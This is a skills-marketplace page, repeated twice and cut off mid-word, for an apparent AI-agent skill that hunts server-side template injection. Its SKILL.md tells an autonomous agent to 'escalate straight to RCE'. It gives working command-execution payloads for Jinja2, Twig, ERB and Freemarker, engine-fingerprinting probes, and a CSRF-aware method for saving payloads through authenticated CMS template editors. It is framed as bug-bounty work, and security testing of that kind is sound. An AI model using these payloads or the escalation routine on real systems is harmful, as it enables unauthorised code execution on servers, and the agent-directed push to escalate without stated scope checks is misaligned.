hunt-ssti

Name: hunt-ssti
Author: elementalsouls

3.0kstars461forks

How to install hunt-ssti?

elementalsouls/claude-bughunter/hunt-ssti

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-ssti

Installs into the current project.

Summary

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerp

Files · 1

View on GitHub

SKILL.md

1	## Autonomous Testing Priority
2
3	Escalate straight to RCE — don't stop at arithmetic detection.
4
5	Arithmetic probes (`{{77}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{77}}">`), producing a false negative even when injection exists.
6
7	Order of attack:
8	1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
9	```
10	{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
11	```
12	2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
13	```
14	Content-Type: application/x-www-form-urlencoded
15	field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
16	```
17	JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
18	3. If Jinja2 fails, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
19	4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.
20
21	Proof: Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
22
23	---
24
25	## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
26	> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
27
28	### Detection Payloads (try all)
29	```
30	{{7*7}} → 49 = Jinja2 / Twig
31	${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
32	<%= 7*7 %> → 49 = ERB (Ruby)
33	{77} → 49 = Spring Thymeleaf
34	{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
35	```
36
37	### RCE Payloads
38
39	Jinja2 (Python/Flask):
40	```python
41	{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
42	```
43
44	Twig (PHP/Symfony):
45	```php
46	{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
47	```
48
49	ERB (Ruby):
50	```ruby
51	<%= `id` %>
52	```
53
54	### Where to Test
55	```
56	Name/bio/description fields, email templates, invoice name, PDF generators,
57	URL path parameters, search queries reflected in results, HTTP headers reflected
58	```
59
60	### CMS / "documentation" template-editor forms (authenticated)
61
62	Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
63	preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:
64
65	1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the
66	whole matrix and read which one evaluates:
67	```
68	${77} → 49 AND #{77} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
69	{{7*7}} → 49 ⇒ Jinja2 / Twig
70	<%= 7*7 %> → 49 ⇒ ERB (Ruby)
71	{77} → 49 ⇒ Thymeleaf (Spring)
72	```
73	If `{{77}}` renders literally but `${77}`→49, you are on Freemarker — stop sending `{{config...}}`.
74
75	2. The record id is usually a QUERY param, not a body field. The editor form posts back to
76	`POST /…/template?productId=N` with the id in the URL. The BODY carries only
77	`csrf`, `template`, and a `template-action` (`preview` \| `save`). Putting the id in the body returns
78	`400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
79	form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
80
81	3. Re-fetch the CSRF each time and use `preview` to iterate. GET the editor page to read a fresh
82	`csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
83	loop). Switch to `template-action=save` only once the payload is right, then trigger the render
84	(load the public page that uses the template) to fire the command.
85
86	Freemarker documentation RCE (the documented `Execute` utility — this IS the intended technique):
87	```
88	<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
89	```
90	Veloc

People who liked this also viewed

6 picks

Type

hunt-ssti

3.0kstars461forks

View on GitHub

How to install hunt-ssti?

elementalsouls/claude-bughunter/hunt-ssti

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-ssti

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	## Autonomous Testing Priority
2
3	Escalate straight to RCE — don't stop at arithmetic detection.
4
5	Arithmetic probes (`{{77}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{77}}">`), producing a false negative even when injection exists.
6
7	Order of attack:
8	1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
9	```
10	{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
11	```
12	2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
13	```
14	Content-Type: application/x-www-form-urlencoded
15	field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
16	```
17	JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
18	3. If Jinja2 fails, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
19	4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.
20
21	Proof: Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
22
23	---
24
25	## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
26	> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
27
28	### Detection Payloads (try all)
29	```
30	{{7*7}} → 49 = Jinja2 / Twig
31	${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
32	<%= 7*7 %> → 49 = ERB (Ruby)
33	{77} → 49 = Spring Thymeleaf
34	{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
35	```
36
37	### RCE Payloads
38
39	Jinja2 (Python/Flask):
40	```python
41	{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
42	```
43
44	Twig (PHP/Symfony):
45	```php
46	{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
47	```
48
49	ERB (Ruby):
50	```ruby
51	<%= `id` %>
52	```
53
54	### Where to Test
55	```
56	Name/bio/description fields, email templates, invoice name, PDF generators,
57	URL path parameters, search queries reflected in results, HTTP headers reflected
58	```
59
60	### CMS / "documentation" template-editor forms (authenticated)
61
62	Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
63	preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:
64
65	1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the
66	whole matrix and read which one evaluates:
67	```
68	${77} → 49 AND #{77} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
69	{{7*7}} → 49 ⇒ Jinja2 / Twig
70	<%= 7*7 %> → 49 ⇒ ERB (Ruby)
71	{77} → 49 ⇒ Thymeleaf (Spring)
72	```
73	If `{{77}}` renders literally but `${77}`→49, you are on Freemarker — stop sending `{{config...}}`.
74
75	2. The record id is usually a QUERY param, not a body field. The editor form posts back to
76	`POST /…/template?productId=N` with the id in the URL. The BODY carries only
77	`csrf`, `template`, and a `template-action` (`preview` \| `save`). Putting the id in the body returns
78	`400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
79	form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
80
81	3. Re-fetch the CSRF each time and use `preview` to iterate. GET the editor page to read a fresh
82	`csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
83	loop). Switch to `template-action=save` only once the payload is right, then trigger the render
84	(load the public page that uses the template) to fire the command.
85
86	Freemarker documentation RCE (the documented `Execute` utility — this IS the intended technique):
87	```
88	<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
89	```
90	Veloc

People who liked this also viewed

6 picks

Type